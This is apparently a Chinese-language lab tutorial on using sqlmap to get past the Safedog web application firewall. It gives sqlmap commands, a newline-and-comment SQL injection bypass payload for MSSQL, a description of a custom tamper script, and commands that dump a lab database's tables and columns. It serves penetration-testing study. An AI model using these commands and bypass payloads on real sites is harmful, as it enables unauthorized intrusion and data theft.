文中通过详细讲解SQLMAP工具,更加深入的掌握SQLMAP用法;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
sqlmap实战渗透技巧四
带安全狗靶场环境
当我们会遇到各种防护软件,这里在靶场环境中安装安全狗,然后我们进行测试,当我们输入and 1=1的时候,发现存在防护被拦截,并跳出提示:
我们使用sqlmap进行攻击时,可以在安全狗上看出被拦截的提示:
sqlmap -u http://www.p2.com/inj.aspx?id=1 -v 1
修改请求头
我们可以使用–random-agent 来先改变请求头:
sqlmap -u http://www.p2.com/inj.aspx?id=1 -v 1 --random-agent --flush-session
这里可以看出能够通过修改请求头来绕过,并存在有注入:
但是安全狗上依然会有大量的攻击日志记录:
而且我们使用此方法是不能得出在等到数据:
利用换行来绕过
这里我们可以简单的通过手工注入方法来进行测试:
--/*%0a这里是你的填写你的注入语句--%20*/
从这个测试我们可以看出当使用这个语句来进行检查时,并不会像一开始直接对我们进行拦截,这个主要的原理是,在sqlserver中 如果使用换行,会把前面的当成注释,而不管后面的执行内容,从而将内容带到数据库中进行查询,所有我们的and 1=1 就被显示,没有被防护设备拦截
编写tamper脚本
同理我们就可以根据这一原理,来编写一个tamper脚本:
主要的意思就是在我们执行payload的时候,都会正在前面加上–/ %0a :*
sqlmap -u http://www.p2.com/inj.aspx?id=1 --dbms="MSSQL" --tamper bypass_safe_dog.py -v 4 --flushsession --batch --tech=U --random-agent --dbs
使用SQLMAP进行注入
这里就可以成功跑出数据库:
同理我们就可以利用这个脚本跑出表,跑出字段。
sqlmap -u http://www.p2.com/inj.aspx?id=1 --dbms="MSSQL" --tamper bypass_safe_dog.py -v 4 --batch --tech=U --random-agent -D Angelcms --tables --columns --dump
但在这里需要将线程调低,以及加上参数–delay 等待上几秒在返回我们的信息。